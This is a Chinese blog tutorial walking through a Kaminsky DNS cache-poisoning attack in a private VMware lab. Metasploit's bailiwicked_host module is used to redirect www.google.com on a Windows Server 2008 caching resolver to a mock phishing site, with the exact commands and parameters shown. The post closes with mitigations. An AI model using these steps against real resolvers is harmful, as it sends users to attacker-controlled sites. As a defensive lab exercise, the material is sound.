Kali Linux（二）渗透案例：DNS Kaminsky缓存投毒
在详细介绍Kali Linux系统之前我们先通过一个渗透案例了解Kali Linux。
本文使用Kali Linux对正在做“本地缓存DNS”的微软windows server2008进行Kaminsky缓存投毒，最终将www.google.com引导到一个预先定义好的web界面上。
（1）介绍渗透手段是为了我们在工作中能更好的做好安全防护工作，只有了解攻击才能做好防守。所以，我首先强烈谴责那些使用渗透工具，进行恶意攻击的行为。
（2）在做本文实验之前，建议先阅读之前发布的DNS安全-缓存投毒相关博客内容，了解Kaminsky攻击原理，http://zdzhu.blog.51cto.com/6180070/1575498
【本文渗透实验环境介绍】
（1）以下所有机器均安装在自己PC的VMware环境下，机器的网卡配置为NAT类型，这样保证机器能上公网。
（2）Windows server2008
开启DNS功能
IP地址192.168.8.136
角色是“本地缓存DNS”
（3）KaliLinux
IP地址192.168.8.149
角色是“渗透发起者”
（4）Windows 7
IP地址192.168.8.137
DNS地址设置为192.168.8.136
角色是“客户端”
（5）Centos 6.4 x86_64
IP地址192.168.8.153
安装并启动Bind软件，同时配置google.com的权威区
配置www.google.com对应的A记录是192.168.8.153
安装并启动Apache，使得客户端在浏览器里输入192.168.8.153后能看到Apache的界面。
角色是“模拟攻击者的钓鱼网站”
【第一部分 环境确认】
（1）在Windows 7客户端的浏览器里随便输入一个网站比如www.51cto.com，确认可以进入网站页面。测试通过代表Windows server2008的DNS递归功能正常。
（2）在Windows server2008上安装wireshark软件，然后启动网卡抓包。继续在Windows 7客户端的浏览器里随便输入几个不同网站的域名，查看wireshark软件抓包结果中server2008对外发起DNS迭代请求时使用的UDP源端口是什么？server2008默认使用相同源端口出去查询。
本文中测试时源端口是54866，如下。
【第二部分 使用Kali Linux开始渗透】
（1）在KaliLinux文本模式下执行命令msfconsole，等待一段时间后进入msf>的命令提示符下。
（2）执行命令use auxiliary/spoof/dns/bailiwicked_host
（3）执行命令show options如下
（4）执行如下命令
set RHOST 192.168.8.136 （对应被攻击的server2008本地DNS IP地址）
set HOSTNAME ns9.google.com
set NEWADDR 192.168.8.153 （对应攻击者部署好的站点）
set SRCPORT 54866 （对应server2008对外查询时使用的端口号）
set XIDS 50
（5）执行完毕后执行show options再次确认配置
（6）执行run
（7）当屏幕出现Poisoning Successful时代表渗透成功结束。
（8）执行exit退出并使用dig @192.168.8.136 命令测试此时server2008DNS缓存中google.com的NS记录情况，并测试www.google.com解析后的结果。
下图可见，本地缓存DNS中google.com的NS被投毒到了192.168.8.153上。那么所有向这台DNS发起的goog.com相关域名都会发往192.168.8.153做迭代查询，并将查询结果反馈给客户端。
（9）在Windows7客户端上的IE浏览器地址栏中输入www.google.com，会进入攻击者预先制定好的站点界面如下。
渗透实验结论：
（1）Kaminsky缓存投毒一旦成功影响非常大。
（2）尽量使用随机端口比较好的DNS软件作为本地缓存DNS，如果用windows server那么一定要做系统升级。本实验中的问题微软已经给出升级补丁。
（3）本地缓存DNS负责人一旦发现缓存投毒，可立即执行“缓存清除”操作。然后通过DNS解析日志或者抓包分析发起随机域名请求的源IP是什么，可尝试进行反跟踪，或者在上层网络设备上做好相应防护工作。
本文出自 “张舵主” 博客，转载请与作者联系！